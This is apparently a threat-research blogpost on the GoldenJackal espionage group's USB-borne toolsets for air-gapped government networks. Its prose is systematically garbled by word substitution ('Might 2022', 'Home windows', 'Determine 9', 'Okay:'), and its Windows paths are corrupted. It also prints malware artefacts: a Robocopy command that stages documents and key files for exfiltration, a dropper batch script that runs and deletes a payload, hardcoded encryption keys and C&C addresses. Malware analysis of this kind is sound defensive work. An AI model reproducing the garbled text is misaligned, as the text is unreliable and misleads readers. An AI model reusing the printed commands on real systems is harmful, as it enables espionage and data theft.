ESET researchers found a collection of assaults on a governmental group in Europe utilizing instruments able to concentrating on air-gapped programs. The marketing campaign, which we attribute to GoldenJackal, a cyberespionage APT group that targets authorities and diplomatic entities, passed off from Might 2022 to March 2024. By analyzing the toolset deployed by the group, we have been capable of establish an assault GoldenJackal carried out earlier, in 2019, in opposition to a South Asian embassy in Belarus that, but once more, focused the embassy’s air-gapped programs with customized instruments.

This blogpost introduces beforehand undocumented instruments that we attribute to GoldenJackal based mostly on victimology, code, and useful similarities between the toolsets.

Key factors of the blogpost:

• GoldenJackal used a customized toolset to focus on air-gapped programs at a South Asian embassy in Belarus since not less than August 2019. On this blogpost, we describe these instruments publicly for the primary time.
• This blogpost additionally options the primary public description of a extremely modular toolset GoldenJackal deployed on numerous events between Might 2022 and March 2024 in opposition to a nationwide authorities group of a rustic within the European Union.
• These toolsets present GoldenJackal a large set of capabilities for compromising and persisting in focused networks. Victimized programs are abused to gather attention-grabbing info, course of the knowledge, exfiltrate recordsdata, and distribute recordsdata, configurations and instructions to different programs.
• The last word aim of GoldenJackal appears to be stealing confidential info, particularly from high-profile machines which may not be related to the web.

GoldenJackal profile

GoldenJackal is an APT group energetic since not less than 2019. It targets authorities and diplomatic entities in Europe, the Center East, and South Asia. The group is little identified and has solely been publicly described in 2023 by Kaspersky. The group’s identified toolset contains a number of implants written in C#: JackalControl, JackalSteal, JackalWorm, JackalPerInfo, and JackalScreenWatcher – all of them used for espionage.

Overview

In Might 2022, we found a toolset that we couldn’t attribute to any APT group. However as soon as the attackers used a device just like a kind of publicly documented by Kaspersky, we have been capable of dig deeper and to discover a connection between the publicly documented toolset of GoldenJackal and this new one.

Extrapolating from that, we managed to establish an earlier assault the place the publicly documented toolset was deployed, in addition to an older toolset that additionally has capabilities to focus on air-gapped programs. This blogpost shines a light-weight on the technical features of the publicly undocumented toolsets, and shares some insights about GoldenJackal’s ways, methods, and procedures.

Victimology

GoldenJackal has been concentrating on governmental entities in Europe, the Center East, and South Asia. We detected GoldenJackal instruments at a South Asian embassy in Belarus in August and September 2019, and once more in July 2021.

Kaspersky reported a restricted variety of assaults in opposition to authorities and diplomatic entities within the Center East and South Asia, beginning in 2020.

Extra not too long ago, in accordance with ESET telemetry, a nationwide authorities group of a rustic within the European Union was repeatedly focused from Might 2022 till March 2024.

Attribution

All of the campaigns that we describe on this blogpost deployed, sooner or later, not less than one of many instruments attributed to the GoldenJackal APT group by Kaspersky. As was the case within the Kaspersky report, we will’t attribute GoldenJackal’s actions to any particular nation-state. There may be, nevertheless, one clue which may level in direction of the origin of the assaults: within the GoldenHowl malware, the C&C protocol is known as transport_http, which is an expression sometimes utilized by Turla (see our ComRat v4 report) and MoustachedBouncer. This may occasionally point out that the builders of GoldenHowl are Russian audio system.

Breaching air-gapped programs

So as to decrease the chance of compromise, extremely delicate networks are sometimes air gapped, i.e., remoted from different networks. Normally, organizations will air hole their most useful programs, akin to voting programs and industrial management programs working energy grids. These are sometimes exactly the networks which can be of most curiosity to attackers.

As we acknowledged in a earlier white paper titled Leaping the air hole: 15 years of nation-state effort, compromising an air-gapped community is way more resource-intensive than breaching an internet-connected system, which signifies that frameworks designed to assault air-gapped networks have to date been solely developed by APT teams. The aim of such assaults is at all times espionage, maybe with a facet of sabotage.

With the extent of sophistication required, it’s fairly uncommon that in 5 years, GoldenJackal managed to construct and deploy not one, however two separate toolsets designed to compromise air-gapped programs. This speaks to the resourcefulness of the group. The assaults in opposition to a South Asian embassy in Belarus made use of customized instruments that we have now solely seen in that particular occasion. The marketing campaign used three fundamental parts: GoldenDealer to ship executables to the air-gapped system by way of USB monitoring; GoldenHowl, a modular backdoor with numerous functionalities; and GoldenRobo, a file collector and exfiltrator.

Within the newest collection of assaults in opposition to a authorities group in Europe, GoldenJackal moved on from the unique toolset to a brand new, extremely modular one. This modular method utilized not solely to the design of the malicious instruments (as was the case with GoldenHowl), but in addition to their roles: they have been used, amongst different issues, to gather and course of attention-grabbing info, to distribute recordsdata, configurations, and instructions to different programs, and to exfiltrate recordsdata.

Technical evaluation

Preliminary entry

To date, we haven’t been capable of hint again to the preliminary compromise vector within the campaigns seen in our telemetry. Notice that Kaspersky reported in a blogpost that GoldenJackal used trojanized software program and malicious paperwork for this goal.

The mysterious toolset from 2019

The earliest assault that we have now attributed to GoldenJackal, which focused a South Asian embassy in Belarus, occurred in August 2019. The toolset used on this assault is, to the perfect of our data, publicly undocumented. We’ve solely noticed the next customized instruments as soon as, and by no means once more:

• A malicious part that may ship executables to air-gapped programs by way of USB drives. We’ve named this part GoldenDealer.
• A backdoor, which we’ve named GoldenHowl, with numerous modules for malicious capabilities.
• A malicious file collector and exfiltrator, which we’ve named GoldenRobo.

An summary of the assault is proven in Determine 1. The preliminary assault vector is unknown, so we assume that GoldenDealer and an unknown worm part are already current on a compromised PC that has entry to the web. Every time a USB drive is inserted, the unknown part copies itself and the GoldenDealer part to the drive. Whereas we didn’t observe this unknown part, we have now seen parts with comparable functions – akin to JackalWorm – in different toolsets utilized in later assaults carried out by the group.

It’s possible that this unknown part finds the final modified listing on the USB drive, hides it, and renames itself with the title of this listing, which is finished by JackalWorm. We additionally imagine that the part makes use of a folder icon, to entice the consumer to run it when the USB drive is inserted in an air-gapped system, which once more is finished by JackalWorm.

When the drive is once more inserted into the internet-connected PC, GoldenDealer takes the details about the air-gapped PC from the USB drive and sends it to the C&C server. The server replies with a number of executables to be run on the air-gapped PC. Lastly, when the drive is once more inserted into the air-gapped PC, GoldenDealer takes the executables from the drive and runs them. Notice that this time no consumer interplay is required, as a result of GoldenDealer is already working.

We have now noticed GoldenDealer working GoldenHowl on an internet-connected PC. Whereas we didn’t observe GoldenDealer instantly executing GoldenRobo, we noticed the latter additionally working on the related PC, used to take recordsdata from the USB drive and exfiltrate them to its C&C server. There have to be yet one more unknown part that copies recordsdata from the air-gapped PC to the USB drive, however we haven’t noticed it but.

GoldenDealer

This part screens the insertion of detachable drives on each air-gapped and related PCs, in addition to web connectivity. Based mostly on the latter, it might probably obtain executable recordsdata from a C&C server and conceal them on detachable drives, or retrieve them from these drives and execute them on programs that don’t have any connectivity.

This system will be run with or with out arguments. When run with arguments, it takes a path to a file that it strikes to a brand new location after which runs by way of the CreateProcessW API with out making a window.

To stop hidden recordsdata being proven in Home windows Explorer, GoldenDealer creates the ShowSuperHidden worth within the HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced registry key, and units it to zero.

In case GoldenDealer just isn’t working as a service, it creates and begins a service referred to as NetDnsActivatorSharing, then exits. If for any cause the service couldn’t be created, persistence is achieved by creating an entry in a Run registry key.

Desk 1 reveals the checklist of configuration recordsdata utilized by GoldenDealer. These are situated within the listing from which the malware is working: C:WindowsTAPI within the noticed assault. Extra particulars about these recordsdata is offered in subsequent sections.

Desk 1. Configuration recordsdata utilized by GoldenDealer

Filename	Function
b8b9-de4d-3b06-9d44	Retailer standing fields.
fb43-138c-2eb0-c651	Retailer executable recordsdata despatched by the C&C server.
130d-1154-30ce-be1e	Retailer details about all compromised PCs within the community.
38c4-abb9-74f5-c4e5	Used as a mutex. If this file is open, it signifies that an occasion of GoldenDealer is already working.

The contents of configuration recordsdata are JSON formatted, and saved XOR encrypted on disk. XOR encryption is carried out one byte at a time, with a single-byte key that’s incremented based mostly on a multiplier.

Community connectivity thread

So as to decide whether or not a PC is related to the web, GoldenDealer sends a GET request to https://1.1.1.1/ each quarter-hour. If the connection fails, or there’s no reply, the PC is assumed to be offline. 1.1.1.1 maps to Cloudflare’s DNS resolver, and the anticipated conduct is to obtain a Not Discovered doc and a 404 standing code. The half just isn’t related right here, however is used for C&C communication. GoldenDealer generates this consumer identifier based mostly on:

• The present username as discovered by way of the GetUserNameW API.
• The serial variety of the primary accessible logical drive within the system. This doesn’t essentially imply the drive the place the OS is put in.

These two strings are individually hashed with the FNV-1a perform, and the ensuing numbers are XORed collectively, acquiring a quantity that identifies the consumer.

To maintain monitor of community connectivity standing, GoldenDealer makes use of a world variable that may maintain any of the next values:

• 0 – Malware began working and connectivity has not been checked.
• 1 – PC doesn’t have web connectivity.
• 2 – PC has web connectivity.

If the standing is 2, a thread is signaled to obtain executable recordsdata from the C&C server, and one other thread is signaled to repeat the executables to USB drives. A thread to get executables from drives and run them will solely be signaled when the standing is 1. Every time the standing modifications, the configuration file b8b9-de4d-3b06-9d44 is up to date with the brand new worth. Fields on this file are:

• wmk – community connectivity standing.
• qotwnk – variety of seconds with out web. This worth is incremented each quarter-hour and reset to zero when there’s connectivity. It may be used if the malware is configured to attend a minimal variety of seconds earlier than deciding that the PC has no connectivity, however there was no wait within the samples that we noticed.
• ltwnk – unknown. This discipline just isn’t utilized by the malware.
• rpk – checklist with hashes of executables downloaded from the C&C server.

Downloader thread

This thread checks the community connectivity standing each half-hour, and solely performs the next actions if the PC is related to the web. First, a GET request is shipped to https://83.24.9[.]124/, simply to let the C&C server know that one other request is to observe. The reply from the server just isn’t processed. If the request fails, then one other request is shipped to a secondary server, http://196.29.32[.]210/, in all probability to inform about failure, because the thread doesn’t proceed to execute on this case. The URLs are hardcoded within the malware and aren’t configurable within the samples that we noticed.

When communication is profitable, GoldenDealer sends a request to https://83.24.9[.]124//fc93-10f4-2a68-d548. The server replies with an array of JSON objects with the next fields:

• ek – a base64-encoded string that’s an executable file after being decoded,
• tpik – an array of user_ids used to determine whether or not the executable shall be run,
• hek – the FNV-1a hash of ek, and
• apk – date and time when the executable was obtained from the C&C server.

The contents of the final two fields aren’t related, as a result of they’re calculated by the downloader thread, changing authentic knowledge despatched by the C&C server. In each circumstances, they’re saved as decimal numbers.

GoldenDealer will run an executable despatched by the server if the corresponding user_id is within the tpik checklist, and the hek hash just isn’t within the checklist of hashes saved within the rpk discipline within the configuration. In different phrases, related PCs can obtain executables and go them alongside to different programs by way of USB drives, however they will additionally run acquired executables. When an executable is run, its hash is added to the rpk checklist, guaranteeing that it’s going to solely be executed as soon as by that sufferer. Every executable is written within the working listing with the worth of as its filename. All JSON objects with acquired executables are saved on disk, within the file fb43-138c-2eb0-c651.

As the ultimate step, the downloader thread collects details about the compromised system and sends it to https://83.24.9[.]124//a1e7-4228-df20-1600. The configuration file 130d-1154-30ce-be1e is up to date to retailer this info as properly. Determine 2 reveals a part of the JSON object with the knowledge despatched to the C&C server. Whereas all strings are despatched as arrays of decimal character codes, for readability we present them as strings within the picture. For instance, as an alternative of lsass.exe, the worth [108, 115, 97, 115, 115, 46, 101, 120, 101] is definitely despatched.

The members are:

• iepk – a Boolean worth that signifies whether or not the GoldenDealer course of is elevated,
• pclk – an array of working processes,
• pglk – an array of put in applications in each Program Information and Program Information (x86) directories,
• pik – the user_id,
• sik – details about the working system (together with model, construct, service pack quantity; structure; and Boolean values indicating whether or not the OS is working on a server, area controller, or workstation),
• uck – the consumer who’s working the GoldenDealer course of, and
• ulk – an array of all customers, every with a Boolean worth indicating whether or not the consumer has administrator privileges.

USB monitoring thread on related PCs

GoldenDealer screens the insertion of detachable drives by making a window titled defaultWindow with a customized occasion handler that processes inserted gadgets and ignores all different system occasions.

As soon as a USB drive has been inserted, this thread patches one byte within the grasp boot report (MBR) of that drive: it searches for the offset the place the BOOTMGR string resides, and replaces the primary O with 0. Then it checks whether or not the second O has additionally been patched to 0, and exits if it hasn’t. The USB thread that runs on air-gapped PCs does the alternative: it patches the second O, and checks whether or not the primary has already been patched. Which means that the USB drive must have been inserted in each a related PC and an air-gapped PC for the drive to be processed.

If the test is profitable, a hidden listing is created on the USB drive, with two recordsdata written inside:

• 37b3-ebe5-568e-0676 – this file has the identical contents as fb43-138c-2eb0-c651 (all of the executables despatched by the C&C server). It’s used to go the executables to air-gapped programs, for execution.
• bc41-ac6f-e55e-61a8 – a file with info from air-gapped PCs. It’s created empty by this thread, then populated by the USB thread working on air-gapped PCs. The contents of this file are appended to the native file 130d-1154-30ce-be1e (see Desk 1), to be despatched to the C&C server by the downloader thread.

USB monitoring thread on air-gapped PCs

That is complementary to the thread described within the earlier part: it takes the file 37b3-ebe5-568e-0676 with executables on the USB drive and copies its contents to the native file fb43-138c-2eb0-c651. It additionally takes the native file 130d-1154-30ce-be1e with details about the air-gapped system and provides its contents to the bc41-ac6f-e55e-61a8 file on the USB drive. The code to acquire system info and to run executables is contained on this thread.

GoldenHowl

One other device from GoldenJackal’s 2019 toolset is GoldenHowl, a backdoor written in Python that consists of varied modules for malicious functionalities. It’s distributed as a self-extracting archive that comprises professional Python binaries and libraries, in addition to malicious scripts. Determine 3 reveals the contents of one in all these archives. The attackers renamed the Python executable – in model 2.7.15 – as WinAeroModule.exe. This part is meant to be run on PCs with web connectivity, given its functionalities.

The preliminary script in GoldenHowl, known as core_script within the malware’s configuration file, performs the next actions:

• decrypts and hundreds the malware’s configuration from a JSON file,
• creates directories utilized by the malware, and
• begins a thread for every module.

The malware’s configuration is decrypted utilizing the Fernet algorithm, with the hardcoded key _ylmUTbqcx6FxMZ5ZvNxDQZYuNh41yxhKcPJLzxgqEY=. Determine 4 reveals a part of the decrypted configuration.

Desk 2 reveals the Python modules that we’ve noticed – within the order that they seem within the config – together with an outline of their functionalities. All modules run indefinitely, apart from the persistence_schtasks module, which runs solely as soon as.

Desk 2. Malicious modules in GoldenHowl

Module title	File on disk	Description
persistence_schtasks	5991-8d44-b226⁠-⁠0e6c.py	Creates the scheduled activity MicrosoftWindowsMultimediaSystemSoundsService2 to persist the execution of core_script.
files_tree	edc5-4055-37cd-d2d2.py	Generates an inventory of recordsdata and directories by calling Home windows’ tree command, for a path laid out in a request despatched by the C&C.
files_stealer	5488-240b-c00f-203a.py	Exfiltrates a single file to the C&C server. The file path is laid out in a request despatched by the C&C.
data_transform	8744-a287-35be-4ea0.py	Utility module that takes incoming requests from the C&C server and decrypts them, and takes responses from different modules that must be despatched to the C&C and encrypts them. The encryption algorithm is Fernet, and the secret is particular to this module: QRqXhd_iB_Y3LpT2wTVK6Dao5uOq2m5KMiVkMnJfgw4=
transport_http	63d5-be5f-e4df-7e65.py	Utility module that uploads and downloads recordsdata from the C&C server. See the C&C communication part for extra info. Notice that the phrase transport is usually utilized by Turla and MoustachedBouncer to discuss with a sort of C&C protocol. Though this may be shared throughout Russian-speaking builders, this can be a low confidence aspect for attribution.
updater	c7b4-0999-aec4-a0c8.py	Utility module that receives a ZIP archive with up to date modules or configuration from the C&C server, extracts the archive, and runs core_script in a brand new course of, terminating the present course of.
sshcmd	1ee0-7c3a-3331-4df3.py	Connects to an SSH server laid out in a request despatched by the C&C. Acts as a reverse shell, executing instructions acquired from the C&C.
ipscanner	a86b-108c-36c7-6972.py	Generates an inventory with energetic IP addresses in an IP vary, based mostly on an IP masks laid out in a request despatched by the C&C server. To take action, it first sends a message to all IP addresses within the vary, on port 59173, after which it runs the command arp -a to acquire the ARP cache tables for all interfaces.
portscanner	2648-69f9-6dc0-3476.py	Generates an inventory with ports which can be accepting connections, based mostly on an IP tackle and an inventory of ports laid out in a request despatched by the C&C server.
sshtunnel	9ea4-fb87-6d57-924a.py	Creates an SSH tunnel with an SSH server, to ahead messages going from (and to) a number on a listening port, to a forwarding port on the SSH server. A request from the C&C server specifies: the tackle and port of the SSH server, username and password for the SSH session, the forwarding port on the SSH server, and the tackle and port of the listening host.
eternalbluechecker	4b19-7f72-8c17-dceb.py	Checks whether or not a number, laid out in a request despatched by the C&C server, is weak to a Home windows SMB distant code execution vulnerability. The code for this module is identical as in mysmb.py and checker.py from this public repository. There is no such thing as a code on this module to use weak hosts.
socks_proxy	8b55-3ac9-5c30-d0c4.py	Acts as a proxy server, forwarding packets from a supply tackle to a vacation spot tackle. The port to pay attention for incoming connections is laid out in a request despatched by the C&C server. The code on this module is similar to that of pysoxy.
text_writer	0ffc-667e-dce4-b270.py	Writes a textual content file to a given path. The trail and textual content for writing are laid out in a request despatched by the C&C server.

C&C communication

Based on GoldenHowl’s configuration, something that comes from the C&C server is named a request, and recordsdata going to the C&C server signify a response. It ought to be famous that regardless of this naming conference, GoldenHowl just isn’t a passive implant: it initiates the connections to the C&C server. The transport_http module is liable for communication with the C&C server, and for writing requests and responses to particular directories. Desk 3 reveals directories utilized by GoldenHowl.

Desk 3. Directories in GoldenHowl’s configuration

Identify in configuration	Identify on disk	Description
download_dir	a700‑280c‑f067‑5a06	Shops encrypted requests coming from the C&C server.
upload_dir	b307‑05ea‑7ac8‑c369	Shops encrypted responses, with recordsdata or output of instructions, to be despatched to the C&C server.
data_dir	cda2‑b818‑3403‑b564	Shops requests despatched by the C&C server, that are taken from download_dir, decrypted, and positioned on this listing for modules to course of. Additionally shops output of executed instructions (responses), that are taken from this listing, encrypted, and written to upload_dir. These actions are carried out by the data_transform module.
temp_dir	5bc5‑0788‑d469‑2f3a	This listing was not utilized in any noticed modules.

Requests and responses have structured filenames:

The fields client_id, request_suffix, and response_suffix are specified within the configuration and are widespread to all modules (see Determine 4 for examples). The sector module_id signifies which module must course of a request or generate a response, and is outlined within the configuration part of every particular person module. The sector request_id is generated on the C&C server, and ties collectively requests with responses.

The transport_http module sends GET requests periodically to the C&C server to test for accessible requests. The configuration fields particular to this module are:

• server_address – tackle of the C&C server (we noticed 83.24.9[.]124, the identical tackle as GoldenDealer’s server),
• server_port – the port used to speak with the server (we noticed 443),
• server_use_ssl – signifies whether or not HTTP or HTTPS shall be used for communication,
• base_timeout_sec – the minimal wait time earlier than contacting the C&C server, and
• timeout_filename – the filename of a textual content file with a quantity between 0 and 3600, to specify a special variety of seconds to attend between communications. This file just isn’t included with GoldenHowl, nevertheless it may very well be positioned by the attackers with the text_writer module.

The tackle used to contact the C&C server is https://://.

GoldenRobo

The final of the noticed instruments from the 2019 toolset, GoldenRobo, is an easy part written in Go that executes the Robocopy utility to stage recordsdata and ship them to its C&C server. It iterates throughout all drive letters from A to Z, attempting to entry every drive. If profitable, a Robocopy command is constructed:

robocopy : 1516-fe89-ad12-8102 *.doc *.docx *.xls *.xlsx *.ppt *.pptx *.pdf *.rtf *.tif *.jpg *.jpeg *.crt *.key *.p12 *.ovpn *.zip *.rar “” /S /R:0 /MAXAGE:7 /XD 1516-fe89-ad12-8102 1516-fe89-ad12-8102 “Utility Information” “All Customers” “Paperwork and Settings” “Native Settings”

If we break down the command:

• recordsdata are copied from drive_letter,
• to 1516-fe89-ad12-8102 (for instance: C:WindowsTAPI1516-fe89-ad12-8102C),
• provided that the recordsdata have extensions .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .rtf, .tif, .jpg, .jpeg, .crt, .key, .p12, .ovpn, .zip, or .rar,
• together with subdirectories (/S),
• not retrying on failed copies (/R:0),
• excluding recordsdata older than seven days (/MAXAGE:7), and
• excluding specified directories (/XD).

Copied recordsdata from all drives are archived collectively in a ZIP file _1423-da77-fe86– in the identical listing the place GoldenRobo is working (with and similar to the present date).

The archive is shipped base64 encoded to https://83.24.9[.]124/8102/. The final a part of the URL is 8102, which is identical because the client_id discipline in GoldenHowl’s configuration. This URL is hardcoded in GoldenRobo, which tells us that the attackers compiled this model of GoldenRobo for this sufferer solely.

The identified toolset: Beforehand documented by Kaspersky

A couple of weeks after deploying the earlier toolset, GoldenJackal began to make use of different malicious instruments on the identical compromised computer systems. In September 2019, we noticed the execution of PowerShell scripts to obtain the JackalControl backdoor. This backdoor was used to execute different PowerShell scripts, to obtain and run professional instruments akin to Plink and PsExec.

In numerous assaults, between September 2019 and January 2024, we noticed the next instruments in GoldenJackal’s arsenal:

• JackalControl,
• JackalSteal, a file collector and exfiltrator, and
• JackalWorm, used to propagate different malicious parts by way of USB drives. We noticed it propagating the JackalControl backdoor.

As these parts have already been documented by Kaspersky, we is not going to describe them on this blogpost. Nonetheless, one attention-grabbing level to say is that in early variations of those instruments, URLs for C&C servers have been hardcoded within the malware binaries. Sooner or later, GoldenJackal modified JackalControl and JackalSteal to obtain C&C servers as arguments.

The most recent toolset: Holding a foothold within the community

In Might 2022, we noticed GoldenJackal utilizing a brand new toolset whereas concentrating on a governmental group in Europe. Most of those instruments are written in Go and supply various capabilities, akin to accumulating recordsdata from USB drives, spreading payloads within the community by way of USB drives, exfiltrating recordsdata, and utilizing some PCs within the community as servers to ship various recordsdata to different programs. As well as, we have now seen the attackers utilizing Impacket to maneuver laterally throughout the community.

Within the noticed assaults, GoldenJackal began to make use of a extremely modular method, utilizing numerous parts to carry out completely different duties. Some hosts have been abused to exfiltrate recordsdata, others have been used as native servers to obtain and distribute staged recordsdata or configuration recordsdata, and others have been deemed attention-grabbing for file assortment, for espionage functions. Determine 5 reveals a classification of the parts which can be described over the subsequent sections.

Relating to community infrastructure, we didn’t observe any exterior IP addresses in any of the analyzed parts. File exfiltrators use publicly accessible providers akin to Google Drive or Outlook SMTP servers.

GoldenUsbCopy

GoldenUsbCopy, which we classify as a group part, screens the insertion of USB drives, and copies attention-grabbing recordsdata to an encrypted container that’s saved on disk, to be exfiltrated by different parts. Based on strings discovered within the binary, the principle bundle for the applying is called UsbCopy.

Newly inserted drives are detected by making a window with title WindowsUpdateManager, to obtain system occasions and course of them with a customized handler. If the handler receives a WM_DEVICECHANGE message, with an occasion sort DBT_DEVICEARRIVAL, and the machine sort is DBT_DEVTYP_VOLUME, this implies a brand new drive is able to be processed. Determine 6 reveals a side-by-side comparability between decompiled code in GoldenUsbCopy and GoldenDealer. Though every was written in a special programming language, we will see that the code retrieves the letter of the drive to course of in the identical method.

GoldenUsbCopy determines which recordsdata to course of from a USB drive based mostly on a configuration that’s saved AES encrypted in CFB mode within the file stories.ini. The 32-byte key to decrypt the configuration is hardcoded within the malware. After decryption, the configuration comprises the next fields, in JSON format:

• outputCipherFilename – full path to an encrypted archive that acts as a container for different recordsdata, akin to recordsdata that include listings of filenames from newly inserted drives, and recordsdata to be exfiltrated,
• RSAKey – a public key to encrypt AES keys which can be used to encrypt recordsdata to be exfiltrated,
• lastDate – recordsdata that have been final modified greater than lastDate days in the past aren’t processed,
• registryKey – a key in HKEY_CURRENT_USER that can retailer SHA-256 hashes of recordsdata already processed for exfiltration,
• registryValue – the registry worth that shops the checklist of hashes,
• maxZIPSize – the utmost measurement in bytes for outputCipherFilename (extra particulars under),
• maxFileSize – recordsdata bigger than maxFileSize, in bytes, aren’t exfiltrated, and
• extensionsFile – an inventory of file extensions for exfiltration (we noticed .docx, .pdf, .doc, and .odt).

As soon as the configuration is decrypted, GoldenUsbCopy waits for a USB drive to be inserted. A list of all recordsdata on the inserted drive is written to a textual content file, which is then archived in a ZIP file, encrypted with AES, and added to outputCipherFilename. Solely the encrypted container is written to disk; intermediate steps, involving textual content recordsdata and archives, are saved in reminiscence.

An identical process is finished for recordsdata on the drive that meet the factors for exfiltration: these recordsdata are archived collectively preserving their listing construction, encrypted with AES, and added to outputCipherFilename. When deciding on recordsdata for exfiltration, an inventory with SHA-256 hashes is retrieved from the registry. If the hash of a file is in that checklist, the file just isn’t exfiltrated. If the hash isn’t within the checklist, it’s added, in order that the file received’t be exfiltrated once more.

Every time including recordsdata to exfiltrate would exceed the maxZIPSize of outputCipherFilename, the surplus recordsdata aren’t added to the archive for exfiltration, however their paths are added to a textual content file that’s archived, encrypted, and added to outputCipherFilename.

Relating to encryption, every particular person archive that’s added to the encrypted container is encrypted with AES in CFB mode, with a key and an initialization vector (IV) which can be randomly generated on the spot. Each the important thing and IV must be saved, however solely the secret is encrypted with RSAKey. Determine 7 reveals an instance of how these fields are saved within the encrypted container.

GoldenUsbGo

This part is similar to GoldenUsbCopy and appears to be a later model of it, based mostly on once we noticed them in our telemetry and evaluating Go variations used to compile them. Nonetheless, GoldenUsbGo achieves the identical performance with a less complicated implementation:

• There is no such thing as a configuration file. All standards for file choice are hardcoded within the malware:
  • if filename comprises a particular phrase from an inventory, course of the file no matter all different standards (the checklist comprises strings akin to go, login, and key),
  • else, file measurement have to be no greater than 20 MB,
  • the date the file was final modified have to be not more than 14 days in the past, and
  • the file extension have to be one in all .pdf, .doc, .docx, .sh, or .bat.
• Insertion of detachable drives just isn’t repeatedly monitored. A hardcoded checklist of drive letters is checked periodically to find out if they’ve an assigned quantity of D:, E:, F:, G:, or H:.
• The checklist of hashes of recordsdata that have been already processed is saved in reminiscence solely.
• There is no such thing as a measurement restrict for the encrypted container the place recordsdata are staged for exfiltration.
• Information aren’t archived however as an alternative are compressed with gzip. Each file contents and filenames are compressed. Determine 8 reveals how compressed knowledge is organized earlier than encryption.

The trail to the encrypted container is hardcoded within the malware:

C:Customers[redacted]appdatalocalSquirrelTempSquirrelCache.dat

The hardcoded username within the path, redacted above, together with the brief checklist of drives and particular filenames to course of, inform us that GoldenUsbGo was compiled and tailor-made for this specific sufferer.

Compressed recordsdata are encrypted with AES in CFB mode with the hardcoded key Fn$@-fR_*+!13bN5. The construction is identical as in GoldenUsbCopy (proven in Determine 7) however with out the AES key. After compressing the recordsdata, GoldenUsbGo generates an inventory of all recordsdata on the inserted drive and provides it to the encrypted container, in the identical method as exfiltrated recordsdata. The filename for the itemizing is shaped from the present date and time, changing : with – (for instance, 15 Jan 24 13-21 PST).

GoldenAce

This part, which we categorised as a distribution device in Determine 5, serves to propagate different malicious executables and retrieve staged recordsdata by way of USB drives. Whereas it may very well be used to focus on air-gapped programs, it’s not particularly constructed for that, versus GoldenDealer. It really works along with a light-weight model of JackalWorm and another unknown part.

GoldenAce periodically checks drives within the checklist G:, H:, I:, J:, Okay:, L:, M:, N:, P:, X:, Y:, and Z:, to seek out one that’s mapped to a quantity. Then it checks whether or not a trash listing exists within the root of that drive. If it doesn’t exist, it’s created as hidden, and a file referred to as replace is copied to that listing, from the identical location the place GoldenAce is working. The primary listing on the drive (in alphabetical order) that’s not hidden is ready to hidden, and a file referred to as improve is copied to the foundation of the drive and renamed as .exe.

The file improve is definitely JackalWorm, an executable that makes use of a folder icon, and whose goal is to repeat and run the replace file on one other system the place the USB drive is inserted. In contrast to the model of JackalWorm described by Kaspersky, this one may be very restricted: it doesn’t have code to observe drive insertions, and it can’t be configured to carry out numerous actions. When executed from the foundation listing of a detachable drive, it opens the hidden folder in Home windows Explorer and writes a batch file to execute the payload in replace. Contents of this file, replace.bat, are proven in Determine 9.

@echo off
copy ":trashreplace" "C:Customers%username%AppDataNativereplace.exe"
"C:Customers%username%AppDataNativereplace.exe" ":trash"
:check1
@tasklist | findstr /i /b "replace.exe" >nul
@if %errorlevel%==0 goto check1
@del /f /q /a h "C:Customers%username%AppDataNativereplace.exe"
@del /f /q "C:CustomersAppDataNativereplace.bat"

Determine 9. Contents of replace.bat

We are able to see that replace is run and deleted, together with the batch file, as soon as it’s finished working. Whereas we didn’t observe the contents of the replace part, it’s probably that it collects recordsdata and levels them within the trash listing on the detachable drive, because the path to that listing is handed as an argument to replace.

When GoldenAce finds that the listing trash already exists on a drive, as an alternative of copying recordsdata to the drive, it copies recordsdata within the trash listing to C:ProgramDataMicrosoftWindowsDeviceMetadataCache.

HTTP server

We noticed Python’s HTTP server, packaged with PyInstaller, being executed by way of C:Windowssystem32cmd.exe /Okay C:Windowsmsahci.cmd. Sadly, we didn’t observe the contents of the msahci.cmd file, so we don’t know the arguments handed for execution, such because the port for the server to pay attention on.

GoldenBlacklist

As a processing part, GoldenBlacklist downloads an encrypted archive from a neighborhood server, and processes e-mail messages contained in it, to maintain solely these of curiosity. Then it generates a brand new archive for another part to exfiltrate.

The URL to retrieve the preliminary archive is hardcoded: https:///update46.zip. The downloaded file is saved as res.out, and AES decrypted with the hardcoded key k9ksbu9Q34HBKJuzHIuGTfHL9xCzMl53vguheOYA8SiNoh6Jqe62F7APtQ9pE, utilizing a professional OpenSSL executable.

The decrypted archive, update46.tar.gz, is extracted in reminiscence, and solely these recordsdata that match sure standards are written to a subdirectory tmp, within the listing the place the malware is working. Standards:

• The file doesn’t include any e-mail on a blocklist of e-mail addresses. That is finished to take away e-mail messages that come from senders that often aren’t attention-grabbing. Whereas we will’t embrace the total checklist right here, it’s value mentioning that most of the e-mail addresses are associated to newsletters and press releases. It’s necessary to notice that the attackers will need to have been working for a while to construct an inventory like this.
• The file comprises the string Content material-Kind: utility. That is to maintain e-mail messages which have attachments, akin to PDF recordsdata, Microsoft Workplace recordsdata, and archives, to call a couple of.

As soon as the recordsdata are chosen, GoldenBlacklist archives the tmp listing and encrypts it with openssl.exe, utilizing the identical encryption key because the one used to decrypt the preliminary archive. The ensuing file is archive.out. All intermediate recordsdata and folders are then deleted, in addition to openssl.exe, libssl-3-x64.dll, and libcrypto-3-x64.dll, all situated within the malware’s listing. This means that one other part that we didn’t observe copied these professional binaries there within the first place.

GoldenPyBlacklist

GoldenPyBlacklist is a Python implementation of GoldenBlacklist. It was packaged with PyInstaller and the unique title of the script is duplxer_black_list_for_external_use.py. Some variations to the opposite part are:

• the preliminary archive is written as ress.out,
• the important thing for decryption is identical, apart from a special first character,
• the decrypted archive is extracted to the C:WindowsSystem32temp listing for processing,
• one further criterion for file choice is added to course of solely filenames that finish in .msg (these are recordsdata created with Microsoft Outlook),
• recordsdata that don’t meet the factors are deleted,
• the ultimate archive is created with the 7-Zip archiver, and
• the ultimate encrypted file is called ArcSrvcUI.ter.

GoldenMailer

Categorized as an exfiltration part, GoldenMailer exfiltrates recordsdata by sending emails with attachments to attacker-controlled accounts. It was written in Python and packaged with PyInstaller, and the unique title of the script is send_to_hole.py. GoldenMailer connects to professional servers – both smtp-mail.outlook.com or smtp.office365.com – to ship e-mail messages, utilizing SMTP on port 587.

The configuration is learn from a file, C:ProgramDataMicrosoftWindowsCachescversions.ini, in the identical listing the place GoldenMailer is working. The configuration consists of the next 5 strains:

• e-mail tackle to authenticate to the SMTP server, and to make use of as each sender and vacation spot tackle,
• password to authenticate to the SMTP server,
• path to listing with archives to exfiltrate,
